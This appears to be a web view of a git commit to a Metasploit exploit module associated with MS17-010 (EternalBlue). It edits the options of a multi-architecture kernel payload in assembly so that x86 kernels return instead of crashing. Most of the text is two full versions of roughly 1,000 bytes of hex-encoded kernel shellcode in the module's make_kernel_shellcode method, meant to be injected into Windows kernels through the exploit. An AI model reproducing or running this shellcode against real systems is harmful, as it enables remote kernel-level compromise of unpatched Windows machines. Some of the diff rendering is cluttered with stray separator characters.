x86 kernels will safely ret instead of BSOD
This commit is contained in:
zerosum0x0
parent
4f3a98d434
commit
bdf121e1c0
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@ -39,7 +39,7 @@ global payload_start
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; options which can be enabled
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%define USE_X86 ; x86 payload
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%define USE_X64 ; x64 payload
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%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry
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;%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry
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%define ERROR_CHECKS ; lessen chance of BSOD, but bigger size
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%define SYSCALL_OVERWRITE ; to run at process IRQL in syscall
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; %define CLEAR_DIRECTION_FLAG ; if cld should be run
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@ -75,13 +75,16 @@ ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC
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payload_start:
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xor ecx, ecx
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db 0x41 ; x86 inc ecx, x64 = rex prefix
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loop x64_payload_start ; dec, jnz. i.e. in x64 we will now jmp
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db 0x41 ; x86 = inc ecx, x64 = rex prefix
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loop x64_payload_start ; dec ecx, jnz. i.e. in x64 ecx = -1, we will now jmp
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BITS 32
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%ifdef USE_X86
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ret
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%else
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ret
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%end
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%endif
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x64_payload_start:
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BITS 64
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@ -696,75 +696,75 @@ class MetasploitModule < Msf::Exploit::Remote
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end
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def make_kernel_shellcode
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# https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
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# Name: kernel
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# see: /external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
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# Length: 1019 bytes
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#"\xcc"+
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"\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8\x0F\xD0\xFF\xFF\xFF\xFF" +
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"\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A\x00\x00\x00\x48\x89\xC2" +
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"\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8\x65\x48\x89\x24\x25\x10" +
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"\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x50\x53\x51\x52" +
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"\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41" +
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"\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10\x00\x00\x00\x41\x53\x6A" +
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"\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55\x48\x81\xEC\x58\x01\x00" +
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"\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48\x89\x9D\xC0\x00\x00\x00" +
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"\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5\xD0\x00\x00\x00\x48\xA1" +
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"\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89\xC2\x48\xC1\xEA\x20\x48" +
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"\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00\x00\xC0\x0F\x30\xFB\xE8" +
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"\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x48\x83" +
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"\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59" +
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"\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65\x48\x8B\x24\x25\x10\x00" +
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"\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F\xD0\xFF\x56\x41\x57\x41" +
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"\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5\x66\x83\xE4\xF0\x48\x83" +
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"\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65\x4C\x8B\x3C\x25\x38\x00" +
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"\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C\x49\xC1\xE7\x0C\x49\x81" +
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"\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81\xFE\x4D\x5A\x75\xEF\x41" +
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"\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00\x48\x89\xC6\x48\x81\xC6" +
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"\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30\xE8\x03\x02\x00\x00\x48" +
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"\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90\x00\x05\x00\x00\x48\x39" +
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"\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xE2" +
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"\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04\x81\xF9\x00\x00\x01\x00" +
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"\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89\xCB\x41\xBB\x66\x55\xA2" +
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"\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB\x49\x8B\x0E\x41\xBB\xA3" +
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"\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89\xC6\xE8\x50\x01\x00\x00" +
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"\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49\x8B\x1E\x4D\x8D\x6E\x10" +
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"\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24\x11\xDC\xE8\x81\x01\x00" +
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"\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D\x4E\x08\x49\xC7\x01\x00" +
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"\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31\xC9\x48\x89\x0A\x48\xF7" +
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"\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC\x20\xE8\x52\x01\x00\x00" +
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"\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B\x3E\x48\x8D\x35\xE9\x00" +
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"\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00\x00\x66\x81\xC1\xF9\x00" +
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"\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03\x00\x00\x48\x89\xF1\x48" +
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"\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\x41\xBB" +
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"\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48\x83\xC4\x20\x5A\x59\x48" +
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"\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00\x00\x48\x85\xC0\x74\x0C" +
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"\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB" +
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"\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2\x80\xC2\x90\x31\xC9\x41" +
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"\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00\x48\x89\xC1\x4C\x8D\x89" +
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"\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89\xE2\x49\x89\xC4\x4D\x31" +
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"\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41\x50\x48\x83\xEC\x20\x41" +
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"\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00\x31\xD2\x52\x52\x41\x58" +
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"\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09\x9E\xE8\x82\x00\x00\x00" +
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"\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8\x74\x00\x00\x00\x48\x89" +
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"\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00\x00\x00\x48\x89\xEC\x5D" +
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"\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E\xC3\xE9\xB5\x00\x00\x00" +
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"\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D\x3C\x61\x7C\x02\x2C\x20" +
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"\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2\x65\x48\x8B\x52\x60\x48" +
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"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12\x48\x8B\x72\x50\x48\x0F" +
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"\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41" +
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"\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39\xD9\x75\xDA\x4C\x8B\x7A" +
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"\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52\x51\x56\x48\x89\xC2\x8B" +
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"\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x01\xD0\x50\x8B" +
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"\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48\xFF\xC9\x41\x8B\x34\x88" +
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"\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39\xD9\x75\xEC\x58\x44\x8B" +
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"\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01" +
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"\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59\x5A\x41\x58\x41\x59\x41" +
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"\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48\x89\xE5\x48\x83\xEC\x20" +
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"\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF\xFF\x31\xC9\x51\x51\x51" +
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"\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00\x5A\x48\x83\xEC\x20\x41" +
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"\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF\x48\x89\xEC\x5D\x41\x5F" +
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"\x5E\xC3"
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"\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
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"\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
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"\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
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"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +
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"\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +
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"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +
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"\x00\x00\x00\x41\x53\x6A\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55" +
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"\x48\x81\xEC\x58\x01\x00\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48" +
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"\x89\x9D\xC0\x00\x00\x00\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5" +
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"\xD0\x00\x00\x00\x48\xA1\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89" +
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"\xC2\x48\xC1\xEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00" +
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"\x00\xC0\x0F\x30\xFB\xE8\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25" +
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"\xA8\x01\x00\x00\x48\x83\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C" +
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"\x41\x5B\x41\x5A\x41\x59\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65" +
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"\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F" +
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"\xD0\xFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5" +
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"\x66\x83\xE4\xF0\x48\x83\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65" +
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"\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C" +
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"\x49\xC1\xE7\x0C\x49\x81\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81" +
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"\xFE\x4D\x5A\x75\xEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00" +
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"\x48\x89\xC6\x48\x81\xC6\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30" +
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"\xE8\x03\x02\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90" +
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"\x00\x05\x00\x00\x48\x39\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B" +
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"\x36\x48\x39\xCE\x75\xE2\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04" +
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"\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
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"\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
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"\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
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"\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49" +
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"\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
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"\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
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"\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +
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"\xC9\x48\x89\x0A\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC" +
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"\x20\xE8\x52\x01\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B" +
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"\x3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00" +
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"\x00\x66\x81\xC1\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03" +
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"\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1" +
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"\x48\x83\xEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48" +
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"\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00" +
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"\x00\x48\x85\xC0\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05" +
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"\x72\x05\x48\x8B\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2" +
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||||
"\x80\xC2\x90\x31\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00" +
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||||
"\x48\x89\xC1\x4C\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89" +
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||||
"\xE2\x49\x89\xC4\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41" +
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||||
"\x50\x48\x83\xEC\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00" +
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||||
"\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09" +
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||||
"\x9E\xE8\x82\x00\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8" +
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||||
"\x74\x00\x00\x00\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00" +
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"\x00\x00\x48\x89\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E" +
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"\xC3\xE9\xB5\x00\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D" +
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||||
"\x3C\x61\x7C\x02\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2" +
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||||
"\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12" +
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||||
"\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C" +
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||||
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39" +
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||||
"\xD9\x75\xDA\x4C\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52" +
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||||
"\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +
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"\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +
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"\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +
|
||||
"\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +
|
||||
"\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +
|
||||
"\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +
|
||||
"\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +
|
||||
"\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
|
||||
"\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
|
||||
"\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue